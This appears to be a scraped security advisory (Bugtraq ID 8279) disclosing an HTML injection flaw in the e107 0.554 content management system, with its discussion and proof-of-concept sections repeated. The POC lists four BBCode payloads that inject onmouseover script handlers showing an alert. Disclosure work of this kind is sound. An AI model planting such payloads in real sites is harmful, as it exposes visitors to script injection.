e107 Website System HTML Injection Vulnerability
BID:8279
Info
e107 Website System HTML Injection Vulnerability
| Bugtraq ID: | 8279 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 25 2003 12:00AM |
| Updated: | Jul 25 2003 12:00AM |
| Credit: | Discovered by Pete Foster. |
| Vulnerable: |
e107 e107 website system 0.554 |
| Not Vulnerable: | |
Discussion
e107 Website System HTML Injection Vulnerability
The e107 content management system is prone to an HTML injection vulnerability. This issue is exposed through the class2.php script. An attacker may exploit this issue by including hostile HTML and script code in certain fields within the form. This code may be rendered in the web browser of a user who views the site.
The e107 content management system is prone to an HTML injection vulnerability. This issue is exposed through the class2.php script. An attacker may exploit this issue by including hostile HTML and script code in certain fields within the form. This code may be rendered in the web browser of a user who views the site.
Exploit / POC
e107 Website System HTML Injection Vulnerability
The following examples were provided:
[img][/img] - [img]/imgsrc.png' onmouseover='alert("Vulnerable");[/img]
[link][/link] - [link]/link.htm" onmouseover="alert('Vulnerable');[/link]
[email][/email] - [email]/[email protected]" onmouseover="alert('Vulnerable');[/email]
[url][/url] - [url]/url.htm" onmouseover="alert('Vulnerable');[/url]
The following examples were provided:
[img][/img] - [img]/imgsrc.png' onmouseover='alert("Vulnerable");[/img]
[link][/link] - [link]/link.htm" onmouseover="alert('Vulnerable');[/link]
[email][/email] - [email]/[email protected]" onmouseover="alert('Vulnerable');[/email]
[url][/url] - [url]/url.htm" onmouseover="alert('Vulnerable');[/url]
References
e107 Website System HTML Injection Vulnerability
References:
References:
- e107 website system Homepage (e107.org)